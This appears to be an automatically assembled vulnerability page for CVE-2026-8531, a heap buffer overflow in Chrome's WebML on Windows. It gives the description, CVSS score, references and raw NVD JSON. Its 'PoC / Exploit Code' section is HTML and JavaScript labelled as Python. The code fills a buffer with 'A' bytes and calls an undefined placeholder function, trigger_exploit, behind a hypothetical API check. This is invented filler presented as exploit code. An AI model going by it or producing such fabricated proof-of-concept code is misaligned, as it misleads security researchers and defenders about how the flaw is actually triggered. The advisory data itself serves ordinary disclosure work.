CVE-2026-8531

Description

Heap buffer overflow in WebML in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8531 -->
<!-- This PoC demonstrates the trigger condition for the heap overflow -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8531 PoC</title>
</head>
<body>
    <h1>Testing WebML Heap Overflow</h1>
    <script>
        // Attempt to trigger the vulnerability in WebML component
        // The overflow occurs when processing crafted tensor data
        try {
            // Construct a malicious input buffer to trigger the overflow
            var size = 0x1000; 
            var maliciousBuffer = new Uint8Array(size);
            // Fill buffer with pattern to help identify corruption
            for(var i=0; i<size; i++) {
                maliciousBuffer[i] = 0x41; // 'A'
            }
            
            // Hypothetical function call to vulnerable WebML API
            // Note: Exact API call depends on the specific implementation details of the bug
            if (window.ml && window.ml.resolve) {
                // This represents the crafted HTML page element triggering the bug
                console.log("Attempting to trigger vulnerability...");
                // Vulnerable function call placeholder
                trigger_exploit(maliciousBuffer);
            } else {
                console.log("WebML API not found or browser patched.");
            }
        } catch (e) {
            console.error("An error occurred during PoC execution:", e);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8531
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8531
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8531/
[4] VulDB https://vuldb.com/cve/CVE-2026-8531
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/492350403

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8531", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:13.930", "lastModified": "2026-05-14T22:16:47.267", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in WebML in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/492350403", "source": "[email protected]"}]}}